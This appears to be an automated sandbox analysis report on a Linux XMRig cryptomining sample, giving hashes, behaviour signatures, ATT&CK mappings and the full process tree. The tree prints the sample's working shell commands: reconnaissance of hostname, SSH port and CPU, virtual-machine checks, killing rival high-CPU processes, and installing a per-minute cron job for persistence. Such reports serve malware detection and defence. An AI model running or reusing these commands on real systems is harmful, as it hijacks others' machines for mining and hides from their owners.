Analysis

  • max time kernel
    56s
  • max time network
    25s
  • platform
    ubuntu-20.04_amd64
  • resource
    ubuntu2004-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu2004-amd64-20240611-enkernel:5.4.0-169-genericlocale:en-usos:ubuntu-20.04-amd64system
  • submitted
    03-07-2024 03:10

General

  • Target

    -bash-55bb90b9-2429-4214-8c22-5d8ee0859237

  • Size

    2.3MB

  • MD5

    b9f096559e923787ebb1288c93ce2902

  • SHA1

    94851bcc8f9c651bcda0ff33d17356cb0b16cf12

  • SHA256

    1fcc2061f767574044ca1e97f92ca1d44ee0b35e0a796e3bd6a949ad4b1175e5

  • SHA512

    ce5f09737d0b7191e3b646ed6111bb0ce97544d280223f327c4f4cc652dc840fed639bc0462b88a7f87d071066e302be7980f14faca1f5e6e9bf732637db22be

  • SSDEEP

    49152:hjYpLCWvHFiMBiBFjrhrlzr18t7LxcAk4u7prrRQx:MvlNiPt9y7LxXk5prrA

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 1 IoCs
  • Checks hardware identifiers (DMI) 1 TTPs 4 IoCs

    Checks DMI information which indicate if the system is a virtual machine.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads hardware information 1 TTPs 14 IoCs

    Accesses system info like serial numbers, manufacturer names etc.

  • Checks CPU configuration 1 TTPs 3 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads CPU attributes 1 TTPs 7 IoCs
  • Enumerates kernel/hardware configuration 1 TTPs 61 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 2 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/-bash-55bb90b9-2429-4214-8c22-5d8ee0859237
    /tmp/-bash-55bb90b9-2429-4214-8c22-5d8ee0859237
    1⤵
    • Checks hardware identifiers (DMI)
    • Reads hardware information
    • Checks CPU configuration
    • Reads CPU attributes
    • Enumerates kernel/hardware configuration
    • Writes file to tmp directory
    PID:1402
    • /bin/sh
      sh -c "echo \"[\$(hostname=\$(hostname -I 2>/dev/null || hostname -i 2>/dev/null);echo \$hostname | awk {'print \$1'} 2>/dev/null)\$(cat /etc/ssh/sshd_config 2>/dev/null | grep 'Port ' 2>/dev/null | head -n 1 2>/dev/null | awk {'print \"-\"\$2'} 2>/dev/null)][\$(whoami 2>/dev/null)][\$(hostname 2>/dev/null)][\$(grep -c ^processor /proc/cpuinfo 2>/dev/null)][\$(X=\$(grep -m 1 'model name' /proc/cpuinfo 2>/dev/null | cut -d: -f2 2>/dev/null | sed -e 's/^ *//' 2>/dev/null | sed -e 's/\$//' 2>/dev/null); if [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'QEMU' ]; then echo 'QEMU'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Haswell)' ]; then echo 'Haswell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Broadwell)' ]; then echo 'Broadwell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'AMD' ]; then echo \$X 2>/dev/null | awk {'print \$2\" \"\$3\" \"\$4'} 2>/dev/null; else echo \$X 2>/dev/null; fi)]\""
      2⤵
        PID:1407
        • /usr/bin/hostname
          hostname -I
          3⤵
            PID:1410
          • /usr/bin/awk
            awk "{print \$1}"
            3⤵
              PID:1412
            • /usr/bin/cat
              cat /etc/ssh/sshd_config
              3⤵
                PID:1414
              • /usr/bin/grep
                grep "Port "
                3⤵
                  PID:1415
                • /usr/bin/head
                  head -n 1
                  3⤵
                    PID:1416
                  • /usr/bin/awk
                    awk "{print \"-\"\$2}"
                    3⤵
                      PID:1417
                    • /usr/bin/whoami
                      whoami
                      3⤵
                        PID:1418
                      • /usr/bin/hostname
                        hostname
                        3⤵
                          PID:1419
                        • /usr/bin/grep
                          grep -c "^processor" /proc/cpuinfo
                          3⤵
                          • Checks CPU configuration
                          PID:1420
                        • /usr/bin/grep
                          grep -m 1 "model name" /proc/cpuinfo
                          3⤵
                          • Checks CPU configuration
                          PID:1425
                        • /usr/bin/cut
                          cut -d: -f2
                          3⤵
                            PID:1426
                          • /usr/bin/sed
                            sed -e "s/^ *//"
                            3⤵
                              PID:1427
                            • /usr/bin/sed
                              sed -e "s/\$//"
                              3⤵
                                PID:1429
                              • /usr/bin/awk
                                awk "{print \$1}"
                                3⤵
                                  PID:1435
                                • /usr/bin/awk
                                  awk "{print \$4}"
                                  3⤵
                                    PID:1438
                                  • /usr/bin/awk
                                    awk "{print \$4}"
                                    3⤵
                                      PID:1441
                                  • /bin/sh
                                    sh -c "ps -A -ostat,ppid 2>/dev/null | awk '/[zZ]/ && !a[\$2]++ {print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done;if [ `id -u 2>/dev/null` -eq '0' ]; then ps x 2>/dev/null | grep /etc/cron 2>/dev/null | grep -v grep 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"
                                    2⤵
                                      PID:1442
                                      • /usr/bin/awk
                                        awk "/[zZ]/ && !a[\$2]++ {print \$2}"
                                        3⤵
                                          PID:1444
                                        • /usr/bin/ps
                                          ps -A "-ostat,ppid"
                                          3⤵
                                          • Reads CPU attributes
                                          • Reads runtime system information
                                          PID:1443
                                        • /usr/bin/id
                                          id -u
                                          3⤵
                                            PID:1446
                                          • /usr/bin/grep
                                            grep -v grep
                                            3⤵
                                              PID:1449
                                            • /usr/bin/grep
                                              grep /etc/cron
                                              3⤵
                                                PID:1448
                                              • /usr/bin/ps
                                                ps x
                                                3⤵
                                                • Reads CPU attributes
                                                • Reads runtime system information
                                                PID:1447
                                            • /bin/sh
                                              sh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -v -- '-bash[[:space:]]*\$' 2>/dev/null | grep -v /usr/sbin/httpd 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done else ps -u `whoami 2>/dev/null` ux | grep -v grep 2>/dev/null | grep -v -- '-bash[[:space:]]*\$' 2>/dev/null | grep -v /usr/sbin/httpd 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"
                                              2⤵
                                                PID:1451
                                                • /usr/bin/id
                                                  id -u
                                                  3⤵
                                                    PID:1452
                                                  • /usr/bin/awk
                                                    awk "{if(\$3>30.0) print \$2}"
                                                    3⤵
                                                      PID:1457
                                                    • /usr/bin/grep
                                                      grep -v /usr/sbin/httpd
                                                      3⤵
                                                        PID:1456
                                                      • /usr/bin/grep
                                                        grep -v -- "-bash[[:space:]]*\$"
                                                        3⤵
                                                          PID:1455
                                                        • /usr/bin/grep
                                                          grep -v grep
                                                          3⤵
                                                            PID:1454
                                                          • /usr/bin/ps
                                                            ps aux
                                                            3⤵
                                                            • Reads CPU attributes
                                                            • Reads runtime system information
                                                            PID:1453
                                                        • /bin/sh
                                                          sh -c "dir=`pwd 2>/dev/null`;rm -rf \$dir/.cron 2>/dev/null;crontab -l 2>/dev/null | grep -v grep 2>/dev/null | grep -v '/tmp/-bash-55bb90b9-2429-4214-8c22-5d8ee0859237' 2>/dev/null > .cron 2>/dev/null;echo '* * * * * '\$dir/'/tmp/-bash-55bb90b9-2429-4214-8c22-5d8ee0859237' >> .cron 2>/dev/null; if [ \$(crontab -l 2>/dev/null | grep -v grep 2>/dev/null | grep '/tmp/-bash-55bb90b9-2429-4214-8c22-5d8ee0859237\$' 2>/dev/null | sort 2>/dev/null | uniq 2>/dev/null | wc -l 2>/dev/null) -eq '0' ]; then crontab \$dir/.cron 2>/dev/null; fi;rm -rf \$dir/.cron 2>/dev/null"
                                                          2⤵
                                                          • Writes file to tmp directory
                                                          PID:1459
                                                          • /usr/bin/rm
                                                            rm -rf /tmp/.cron
                                                            3⤵
                                                              PID:1461
                                                            • /usr/bin/grep
                                                              grep -v grep
                                                              3⤵
                                                                PID:1463
                                                              • /usr/bin/crontab
                                                                crontab -l
                                                                3⤵
                                                                  PID:1462
                                                                • /usr/bin/grep
                                                                  grep -v /tmp/-bash-55bb90b9-2429-4214-8c22-5d8ee0859237
                                                                  3⤵
                                                                    PID:1464
                                                                  • /usr/bin/grep
                                                                    grep "/tmp/-bash-55bb90b9-2429-4214-8c22-5d8ee0859237\$"
                                                                    3⤵
                                                                      PID:1468
                                                                    • /usr/bin/sort
                                                                      sort
                                                                      3⤵
                                                                        PID:1469
                                                                      • /usr/bin/uniq
                                                                        uniq
                                                                        3⤵
                                                                          PID:1470
                                                                        • /usr/bin/grep
                                                                          grep -v grep
                                                                          3⤵
                                                                            PID:1467
                                                                          • /usr/bin/crontab
                                                                            crontab -l
                                                                            3⤵
                                                                              PID:1466
                                                                            • /usr/bin/wc
                                                                              wc -l
                                                                              3⤵
                                                                                PID:1471
                                                                              • /usr/bin/crontab
                                                                                crontab /tmp/.cron
                                                                                3⤵
                                                                                • Creates/modifies Cron job
                                                                                PID:1472
                                                                              • /usr/bin/rm
                                                                                rm -rf /tmp/.cron
                                                                                3⤵
                                                                                  PID:1473
                                                                              • /bin/sh
                                                                                sh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then if [ `ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | wc -l 2>/dev/null` -gt 1 ]; then ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi else myid=`whoami 2>/dev/null`; if [ `ps -u \$myid ux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | wc -l 2>/dev/null` -gt 1 ]; then ps -u \$myid ux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi fi"
                                                                                2⤵
                                                                                  PID:1474
                                                                                  • /usr/bin/id
                                                                                    id -u
                                                                                    3⤵
                                                                                      PID:1475
                                                                                    • /usr/bin/awk
                                                                                      awk "{if(\$3>30.0) print \$2}"
                                                                                      3⤵
                                                                                        PID:1480
                                                                                      • /usr/bin/grep
                                                                                        grep -- "-bash[[:space:]]*\$"
                                                                                        3⤵
                                                                                          PID:1479
                                                                                        • /usr/bin/wc
                                                                                          wc -l
                                                                                          3⤵
                                                                                            PID:1481
                                                                                          • /usr/bin/grep
                                                                                            grep -v grep
                                                                                            3⤵
                                                                                              PID:1478
                                                                                            • /usr/bin/ps
                                                                                              ps aux
                                                                                              3⤵
                                                                                              • Reads CPU attributes
                                                                                              • Reads runtime system information
                                                                                              PID:1477
                                                                                          • /bin/sh
                                                                                            sh -c "/sbin/modprobe msr allow_writes=on > /dev/null 2>&1"
                                                                                            2⤵
                                                                                              PID:1524
                                                                                              • /sbin/modprobe
                                                                                                /sbin/modprobe msr "allow_writes=on"
                                                                                                3⤵
                                                                                                • Enumerates kernel/hardware configuration
                                                                                                PID:1525

                                                                                          Network

                                                                                          MITRE ATT&CK Matrix ATT&CK v13

                                                                                          Execution

                                                                                          Scheduled Task/Job

                                                                                          1
                                                                                          T1053

                                                                                          Persistence

                                                                                          Scheduled Task/Job

                                                                                          1
                                                                                          T1053

                                                                                          Privilege Escalation

                                                                                          Scheduled Task/Job

                                                                                          1
                                                                                          T1053

                                                                                          Defense Evasion

                                                                                          Virtualization/Sandbox Evasion

                                                                                          2
                                                                                          T1497

                                                                                          Discovery

                                                                                          Virtualization/Sandbox Evasion

                                                                                          2
                                                                                          T1497

                                                                                          System Information Discovery

                                                                                          3
                                                                                          T1082

                                                                                          Replay Monitor

                                                                                          Loading Replay Monitor...

                                                                                          Downloads

                                                                                          • /tmp/.cron
                                                                                            Filesize

                                                                                            63B

                                                                                            MD5

                                                                                            7d54d1560c6fd7816f8c66f2eaa4bbfb

                                                                                            SHA1

                                                                                            8b745ad152c42c7e8bb5680a65430e2c432e7125

                                                                                            SHA256

                                                                                            6a4889b152f843a609b03a59eecdcd2ba3786fc1ccb6da80f2f0631f1fbc2515

                                                                                            SHA512

                                                                                            b3d2aa11dc1def8a68eceed2ff49ab94aa0ae4a44380d50876e2fda4030d79fb0bc5a59adb515466ed5e2d15d3f5d5f063df02bfab414a44be9c94291d34357e

                                                                                          • /var/spool/cron/crontabs/tmp.oCihMu
                                                                                            Filesize

                                                                                            247B

                                                                                            MD5

                                                                                            3589d2bb6bc055c39c7c8eda7ad09f00

                                                                                            SHA1

                                                                                            f9c5877b4caf114de6c9ea296242bad3b80625f0

                                                                                            SHA256

                                                                                            f4307f4448290cca325e82ea1895710d04ec7e80926a3ce9aa8c3f6b6eebb459

                                                                                            SHA512

                                                                                            9aafe66663b3eb3c8ed1306e65c835974fcb31966b48725853abac07c6ff45435415625877413ca5ed896c87840993016b77430e4f4a7ad8a40d5b4e0e80e8f5

                                                                                          • memory/1402-1-0x00007faf43604000-0x00007faf43cc2d40-memory.dmp